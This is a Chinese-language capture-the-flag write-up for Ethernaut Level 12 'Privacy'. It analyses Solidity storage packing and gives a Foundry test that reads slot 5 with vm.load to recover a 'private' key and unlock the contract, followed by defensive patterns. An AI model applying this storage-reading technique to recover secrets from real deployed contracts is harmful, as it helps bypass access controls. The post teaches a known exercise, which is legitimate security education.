当前位置: 首页 > news >正文

Ethernaut Level 12: Privacy - 存储布局分析

🎯 Ethernaut Level 12: Privacy - 存储布局分析

关卡链接: Ethernaut Level 12 - Privacy
攻击类型: 存储布局分析
难度: ⭐⭐⭐⭐☆

📋 挑战目标

要读取 private 数据,然后调用 unlock 函数。这个关卡进一步考验对 EVM 存储布局的理解,特别是静态数组和数据打包的处理。

Privacy Challenge

🔍 漏洞分析

目标函数分析

function unlock(bytes16 _key) public {require(_key == bytes16(data[2]));  // 需要 data[2] 的 bytes16 版本locked = false;
}

我们可以看到,此处的条件是 _key 必须等于 bytes16(data[2])。那么我们如何访问 data[2] 呢?

复杂存储布局分析

合约的状态变量:

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

由于没有继承,存储从 slot 0 开始,带有 locked 变量,如下所示:

SlotVariableTypeSizeNotes
0lockedbool1 bytelocked 占用1个字节,但由于下一个值不适合剩下的31个字节,locked 占用了整个插槽
1IDuint25632 bytesuint256 占用32字节,所以是1个满槽
2flattening
denomination
awkwardness
uint8
uint8
uint16
1+1+2 bytes分别是1个字节+1个字节+2个字节,Solidity将它们打包到一个插槽中
3data[0]bytes3232 bytes静态数组启动一个新的存储槽,每个 bytes32 元素占用一个完整的槽
4data[1]bytes3232 bytes
5data[2]bytes3232 bytes这个槽位就是 data[2]

通过这个详细的存储布局,我们可以看到 data[2] 存储在 slot 5 中。

💻 Foundry 实现

攻击合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "../src/Ethernaut.sol";
import "../src/levels/PrivacyFactory.sol";contract PrivacyTest is Test {Ethernaut ethernaut;PrivacyFactory privacyFactory;function setUp() public {ethernaut = new Ethernaut();privacyFactory = new PrivacyFactory();ethernaut.registerLevel(privacyFactory);}function testPrivacyExploit() public {// 创建关卡实例address levelInstance = ethernaut.createLevelInstance(privacyFactory);Privacy instance = Privacy(levelInstance);// 验证初始状态assertEq(instance.locked(), true);// 攻击:读取 slot 5 中的 data[2]bytes32 data2 = vm.load(address(instance), bytes32(uint256(5)));// 转换为 bytes16 并解锁bytes16 key = bytes16(data2);instance.unlock(key);// 验证攻击成功assertEq(instance.locked(), false);// 提交关卡bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelInstance));assert(levelSuccessfullyPassed);}// 额外测试:验证存储布局function testStorageLayout() public {address levelInstance = ethernaut.createLevelInstance(privacyFactory);// 检查各个 slot 的内容bytes32 slot0 = vm.load(address(levelInstance), bytes32(uint256(0))); // lockedbytes32 slot1 = vm.load(address(levelInstance), bytes32(uint256(1))); // IDbytes32 slot2 = vm.load(address(levelInstance), bytes32(uint256(2))); // packed variablesbytes32 slot3 = vm.load(address(levelInstance), bytes32(uint256(3))); // data[0]bytes32 slot4 = vm.load(address(levelInstance), bytes32(uint256(4))); // data[1]bytes32 slot5 = vm.load(address(levelInstance), bytes32(uint256(5))); // data[2]console.log("Slot 0 (locked):", uint256(slot0));console.log("Slot 1 (ID):", uint256(slot1));console.log("Slot 2 (packed):");console.logBytes32(slot2);console.log("Slot 3 (data[0]):");console.logBytes32(slot3);console.log("Slot 4 (data[1]):");console.logBytes32(slot4);console.log("Slot 5 (data[2]):");console.logBytes32(slot5);}
}

关键攻击步骤

  1. 分析存储布局:确定 data[2] 存储在 slot 5
  2. 读取存储:使用 vm.load() 读取 slot 5 的数据
  3. 数据转换:将 bytes32 转换为 bytes16
  4. 调用 unlock:使用转换后的 key 解锁合约
// 读取 slot 5 中的 data[2]
bytes32 data2 = vm.load(address(instance), bytes32(uint256(5)));// 转换为 bytes16
bytes16 key = bytes16(data2);  // 取前16个字节// 解锁合约
instance.unlock(key);

🛡️ 防御措施

1. 不要在链上存储敏感数据

// ❌ 不安全:私有数据存储在链上
contract VulnerableContract {bytes32[3] private secretData;  // 仍然可以被读取!function unlock(bytes16 _key) public {require(_key == bytes16(secretData[2]));// unlock logic}
}// ✅ 安全:使用哈希验证
contract SecureContract {bytes32 private dataHash;  // 存储哈希而不是明文constructor(bytes32 _data) {dataHash = keccak256(abi.encodePacked(_data));}function unlock(bytes32 _data) public {require(keccak256(abi.encodePacked(_data)) == dataHash);// unlock logic}
}

2. 使用承诺-揭示方案

contract CommitReveal {mapping(address => bytes32) private commitments;mapping(address => bool) private revealed;// 第一阶段:提交哈希function commit(bytes32 _hashedData) public {commitments[msg.sender] = _hashedData;}// 第二阶段:揭示并验证function reveal(bytes32 _data, uint256 _nonce) public {bytes32 hash = keccak256(abi.encodePacked(_data, _nonce));require(commitments[msg.sender] == hash, "Invalid reveal");revealed[msg.sender] = true;}
}

🔧 相关工具和技术

存储布局分析工具

# 使用 forge inspect 查看存储布局
forge inspect <ContractName> storage-layout# 使用 cast 读取存储
cast storage <CONTRACT_ADDRESS> <SLOT_NUMBER># 使用 web3.py 读取存储
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://localhost:8545'))
data = w3.eth.get_storage_at(contract_address, 5)

数据类型转换

// bytes32 到 bytes16 转换
bytes32 fullData = 0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef;
bytes16 halfData = bytes16(fullData);  // 取前16个字节// 数据打包解析
bytes32 packedData = 0x000000000000000000000000000a00ff0000000000000000000000000000;
uint8 flattening = uint8(packedData);           // 最后1字节
uint8 denomination = uint8(packedData >> 8);    // 倒数2字节  
uint16 awkwardness = uint16(packedData >> 16);  // 倒数3-4字节

🎯 总结

核心概念:

  • 同样,链上是没有隐私。一切都是公开的,任何人都可以阅读
  • 合理安排你的存储空间,可以节省 gas
  • EVM 使用 32 字节的存储槽,小于 32 字节的类型会被打包

攻击向量:

  • 通过存储布局分析找到目标数据的 slot 位置
  • 使用 RPC 调用或 Foundry cheatcodes 读取数据
  • 正确处理数据类型转换和数据打包

防御策略:

  • 永远不要在链上存储明文敏感数据
  • 使用哈希、承诺方案或链下验证
  • 考虑使用加密存储解决方案
  • 合理设计存储布局以提高效率

📚 参考资料

  • Private data
  • EVM storage
  • Storage layout

🔗 相关链接

  • 原文
  • GitHub 项目

在智能合约的世界中,最简单的漏洞往往隐藏着最深刻的安全教训。 🎓

http://www.dtcms.com/a/491635.html

相关文章:

  • arkTs:鸿蒙开发中使用模型(Model)类封装数据与方法
  • Ethernaut Level 11: Elevator - 接口实现攻击
  • 恶意软件行为图像数据集
  • 如何找到网站管理员做房产应看的网站
  • Profibus DP转Modbus RTU工业PLC网关赋能新能源电站高效协同运行
  • 免费网站建设 源代码哪些网站是做设计的
  • 第8篇:Jackson与Spring Boot:实战整合技巧
  • 整套网站建设视频教程淮北建设工程交易中心
  • F027 neo4j知识图谱音乐推荐系统vue+flask+知识图谱可视化+协同过滤推荐算法
  • 仪器网站模板打包wordpress为app
  • Java SPI 完整加载流程详解-JAR 包到类实例化
  • MySQL Workbench:MySQL官方管理开发工具
  • 七宝网站建设行业seo网站优化方案
  • Unity 光照贴图异常修复笔记
  • 算法训练之BFS解决最短路径问题
  • h5手机端网站开发西安软件开发公司
  • DataFrame对象的iterrows()方法
  • 【Java零基础·第8章】面向对象(四):继承、接口与多态深度解析
  • 网站规划建设与管理维护大作业中国传统文化网页设计
  • 空气能空调如何做网站做酒店网站多少钱
  • 小道消息:某国产数据库迁移中途失败
  • AI+量化 的数据类型有哪些
  • 外贸网站如何seo推广常用网站如何在桌面做快捷方式
  • 遇到的问题:缺少ClickTo Run Service
  • [创业之路-699]:企业与高校:模式错配的警示与适配路径的探索
  • 电脑做系统都是英文选哪个网站怎么做局域网网站
  • 源丰建设有限公司网站如何做推广最有效果
  • 合规守护经营,道本科技智慧合同管理系统助力小微企业迈入发展快车道[赞啊][赞啊][赞啊]
  • 站点推广是什么意思wordpress双语插件
  • LLMs-from-scratch :embeddings 与 linear-layers 的对比